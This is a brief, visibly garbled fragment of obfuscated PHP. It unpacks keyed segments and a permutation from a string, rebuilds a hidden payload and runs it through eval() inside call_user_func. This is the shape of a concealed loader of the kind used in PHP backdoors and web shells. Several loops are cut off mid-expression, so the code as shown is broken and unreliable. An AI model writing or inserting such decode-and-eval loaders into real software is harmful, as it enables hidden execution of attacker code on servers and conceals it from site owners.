strlen($_kx))break;$_ks[$_nm]=substr($_kx,$_p,$_v);$_p+=$_v; } $_k1=$_ks['key1']??$_m;$_k2=$_ks['key2']??$_m;$_k3=$_ks['key3']??$_m;$_k4=$_ks['key4']??$_m;$_p=$_ks['perm']??''; $_pr=array();for($i=0;$i0){ $_ip=array();for($i=0;$i=0&&$_idx')$_dc=substr($_dc,0,-2); call_user_func(function($c){eval(trim($c));},$_dc);